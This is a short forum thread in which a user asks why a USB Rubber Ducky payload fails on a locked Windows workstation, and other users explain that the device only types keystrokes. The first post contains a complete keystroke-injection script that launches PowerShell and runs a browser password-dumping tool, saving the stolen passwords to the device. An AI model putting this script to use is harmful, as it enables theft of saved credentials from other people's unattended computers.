neutinq Posted July 28, 2017 Share Posted July 28, 2017 This is really weird. I flashed my usb rubber ducky with twin ducky firmware via ducky flasher on Kali. Tried both regular and GPIO button ones, same result. I am running a webbrowserpassview from nirsoft via inject.bin. When the workstation is unlocked, it runs correctly, provides password.txt file saved on the ducky SD card partition. As soon as I lock the machine and insert the ducky/press the button, it starts blinking red/blue like it does something, but in the end just starts typing all of the script commands inside user logon prompt and not in the background?! What am I doing wrong, guys? Please advise DELAY 3000 GUI R DELAY 200 STRING powershell DELAY 200 ENTER DELAY 2000 STRING $usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq 'Z' } | select name DELAY 200 ENTER DELAY 200 STRING cd $usbPath.name; ./p.exe /stext password.txt DELAY 200 ENTER STRING exit DELAY 200 ENTER Thank you Quote Link to comment Share on other sites More sharing options...
Lord_KamOS Posted July 28, 2017 Share Posted July 28, 2017 Please delete this thread, and learn a bit more on how the ducky works. Quote Link to comment Share on other sites More sharing options...
quentin_lamamy Posted July 28, 2017 Share Posted July 28, 2017 (edited) neutinq, keep in mind that the rubber ducky is a kind of automated keyboard. Most of the time If your regular keyboard can't do something, your rubber ducky can't do it. You can read the documentation here and search for awesome hak5 video on YT about the rubber duckyhere Edited July 28, 2017 by quentin.lamamy Quote Link to comment Share on other sites More sharing options...
neutinq Posted July 28, 2017 Author Share Posted July 28, 2017 My bad, guys. Was testing lan turtle lately and it got me confused I could collect some data while the workstation is locked with rubber ducky as well. Thank you for pointing that out to me. Quote Link to comment Share on other sites More sharing options...
neutinq Posted July 28, 2017 Author Share Posted July 28, 2017 Please delete Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.